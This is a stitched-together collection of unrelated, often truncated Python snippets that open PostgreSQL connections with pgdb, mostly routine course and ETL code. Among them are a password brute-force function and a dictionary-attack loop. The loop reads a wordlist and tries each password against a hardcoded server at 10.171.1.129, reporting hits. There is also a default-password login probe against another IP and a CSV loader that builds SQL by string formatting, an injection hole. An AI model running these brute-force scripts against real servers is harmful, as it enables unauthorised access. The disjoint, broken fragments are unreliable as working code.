def __init__(self):
#If you are using a local postgres server as user postgres with default database 'postgres'
params = {
'host': 'localhost',
'user': '******',
'database': 'postgres',
'password': ''
}
self.connection1 = pgdb.Connection(**params)
self.connection1.autocommit = False
self.cursor1 = self.connection1.cursor()
self.connection2 = pgdb.Connection(**params)
self.connection2.autocommit = False
self.cursor2 = self.connection2.cursor()
def __init__(self):
# local server:
params = {'host':'', 'user':'******', 'database':'', 'password':''}
self.conn = pgdb.Connection(**params)
self.conn.autocommit=False
# specify the command line menu here
self.actions = [self.population_query, self.scatterplot_population, self.test_hypothesis, self.exit]
# menu text for each of the actions above
self.menu = ["Population Query", "Population Scatterplot", "Test hypothesis", "Exit"]
self.cur = self.conn.cursor()
def __init__(self): #PG-connection setup
# local server:
params = {'host':'localhost', 'user':'******', 'database':'postgres', 'password':''}
self.conn = pgdb.Connection(**params)
self.conn.autocommit=False
# specify the command line menu here
self.actions = [self.population_query, self.exit]
# menu text for each of the actions above
self.menu = ["Test hypotheses 🤔", "Exit"]
self.explore_menu = ["Latitute", "Elevation"]
self.cur = self.conn.cursor()
def __init__(self): #PG-connection setup
# local server:
params = {'host':'localhost', 'user':'******', 'database':'postgres', 'password':'******'}
# kth server:
# params = {'host':'nestor2.csc.kth.se', 'user': '******', 'database':'', 'password':'******'}
self.conn = pgdb.Connection(**params)
self.conn.autocommit=False
# specify the command line menu here
self.actions = [self.population_query, self.trend_query, self.exit]
# menu text for each of the actions above
self.menu = ["Population Query", "Trend Examples", "Exit"]
self.cur = self.conn.cursor()
def redshift_connection(db_name, db_host, db_port, db_user, db_password):
# Makes the db connection
try:
con = pgdb.Connection(database=db_name,
host=db_host,
user=db_user,
password=db_password,
port=db_port)
logging.info("Database connection succedded")
return con
except Exception as e:
# error while making connection
logging.error("Error while making database connection \n" + str(e))
def bruteforceattack(_target, _user, _pwd, _porttarget, _dbtarget):
try:
psqlconn = pgdb.Connection(user=_user,
password=_pwd,
host=_target,
port=_porttarget,
database=_dbtarget)
psqlconn.close()
print('[+] BINGO - username:'******'password:'******'Database:',
_dbtarget)
except:
if verbose:
print('[-] FAIL - username:'******'password:'******'Database:', _dbtarget)
def __init__(self): #PG-connection setup
# local server:
params = {
'host': '',
'user': '******',
'database': '',
'password': ''
}
self.conn = pgdb.Connection(**params)
self.conn.autocommit = False
# specify the command line menu here
self.actions = [
self.population_query, self.scatterplot_population,
self.plot_datapoints_per_year, self.plot_mean_and_stdev_per_decade,
self.scatterplot_user_input, self.exit
]
# menu text for each of the actions above
self.menu = [
"Population Query", "Population Scatterplot",
"Plot # of datapoints per year",
"Plot mean and std_dev per decade",
"Scatterplot data about your city", "Exit"
]
self.cur = self.conn.cursor()
#!/usr/bin/python
hostname = 'localhost'
username = '******'
password = '******'
database = 'postgres'
# Simple routine to run a query on a database and print the results:
def doQuery( conn ) :
cur = conn.cursor()
novo_rec = "insert into emp values ((select max(id) +1 from emp), 'Jose da Silva', '51987655521', '1')"
cur.execute(novo_rec)
cur.execute( "SELECT name, fone FROM emp" )
for name, fone in cur.fetchall() :
print (name, fone)
print ("Using psycopg2…")
import psycopg2
myConnection = psycopg2.connect( host=hostname, user=username, password=password, dbname=database )
doQuery( myConnection )
myConnection.commit()
myConnection.close()
import pgdb
myConnection1 = pgdb.Connection( host=hostname, user=username, password=password, database=database )
doQuery( myConnection1 )
myConnection1.commit()
myConnection1.close()
target = '10.171.1.129'
psql_server = ' - PostgreSQL Server IP: ' + target
psql_enum = att + " - PostgreSQL version enumeration: \n"
psql_generic = att + " - Generic information about the PostgreSQL connection: "
psql_start = app + " - Start PostgreSQL Dictonary Attack "
psql_end = app + " - PostgreSQL Dictonary Attack Finished"
print(psql_start)
with open(wordlist, "r") as _word:
for _line in _word:
_password = _line.strip("\n")
try:
psqlconn = pgdb.Connection(user="******",
password=_password,
host="10.171.1.129",
port="5432",
database="postgres")
print(ok + msg_ok + green + username + nocolor + msg_pass + green +
_password + nocolor + psql_server)
psqlconn.close()
except:
print(fail + msg_fail + username + msg_pass + _password)
print(psql_end)
#If you are using a local postgres server as user postgres with default database 'postgres'
params = {
'host': 'localhost',
'user': '******',
'database': 'postgres',
'password': '******'
}
#If you are using nestor2, copy this python file to u-shell and then execute there
# params = {'host':'nestor2.csc.kth.se', 'user': '******', 'database':'', 'password':'******'}
# We work with two connections to the database, simulating concurrent users. These
# connections could be remote, in separate programs etc, but we run them in the same file
# here to test out concurrency issues. Connection1/cursor1 are for "user 1",
# Connection2/cursor2 for "user 2"
connection1 = pgdb.Connection(**params)
connection1.autocommit = False
cursor1 = connection1.cursor()
connection2 = pgdb.Connection(**params)
connection2.autocommit = False
cursor2 = connection2.cursor()
def drop():
# delete the table Sales if it does already exist
try:
query = "DROP TABLE Sales"
cursor1.execute(query)
connection1.commit()
# by default in pgdb, all executed queries for connection 1 up to here form a transaction
#!/usr/bin/python
import pgdb
username = '******'
pwd = 'postgres'
target = '11.11.11.171'
porttarget = 5432
dbtarget = 'postgres'
psqlconn = pgdb.Connection(user=username,
password=pwd,
host=target,
port=porttarget,
database=dbtarget)
print(psqlconn)
psqlconn.close()
# -*- coding: shift_jis -*-
#引数として日付を受け取る
#import package
import csv
import pprint
import pgdb
import sys
#PostgreSQL接続設定
con = pgdb.Connection(host="HOST",database="DATABASE",user="******",password="******")
cur = con.cursor()
#csvを開く
with open(r'D:/xxx/file.csv', newline='') as csvfile:
read = csv.reader(csvfile)
args = sys.argv
date = args[1]
#最初の一行目を飛ばす
next(csvfile)
#Excelの一番下の行まで読み込みつつ、SQL実行
for row in read:
#シーケンスとタイムスタンプ使用
sql = "INSERT INTO table VALUES(nextval('xxx_seq'),%(引数名)s,'{}','{}','{}','{}','{}',{},{},{},{},{})"
sql = sql.format(row[0],row[1],row[2],row[3],row[4],row[5],row[6],int(row[7]),float(row[8]),int(row[9]),int(row[10]),int(row[11]))
cur.execute(sql, {'引数名': (引数名,)})
con.commit()
cur.close()
con.close()
dirname = '/app_pipeline'
config_filename = os.path.join(dirname, "config.yaml")
with open(config_filename) as fp:
data = yaml.load(fp, Loader=yaml.FullLoader)
@classmethod
def get_config(cls):
return cls.data
config = Config.get_config()
server_config = config['pgdb']['server']
server_conn = pgdb.Connection(
user=server_config["user"],
host=server_config["host"],
port=int(server_config["port"]),
password=server_config["password"],
database=server_config["database"],
)
JOB_RES_CHANNEL = config['JOB_RES_CHANNEL']
redis_config = config['redis']
job_cache_conn = redis.Redis(**redis_config['job_cache'])
job_pipeline_conn = redis.Redis(**redis_config['pipeline'])
RENDER_INTERVAL_JOBS_KEY = config['RENDER_INTERVAL_JOBS_KEY']
""")
conn = None
producer = KafkaProducer(bootstrap_servers=['localhost:9092'],
api_version=(0, 10, 1))
print("Successfully connected to KafkaProducer")
insert_table_cmd = ("""
CREATE TABLE IF NOT EXISTS updates (
update varchar(255)
);
""")
try:
conn = pgdb.Connection(database='postgres',
host='localhost',
user='******',
password='******')
cur = conn.cursor()
cur.execute(create_table_cmd)
cur.execute(insert_table_cmd)
print('Connection successful!')
except:
print('Connection unsuccessful!')
def load_data(filename):
with open(filename, mode='r') as read_file:
read_data = csv.reader(read_file, delimiter=',')
line = 0
#!/usr/bin/python import pgdb C = pgdb.Connection(host='localhost', user='******', password='******', database='test') c = C.cursor() c.execute( "select * from test" ) for firstname, lastname in c.fetchall() : print( firstname, lastname ) c.close()
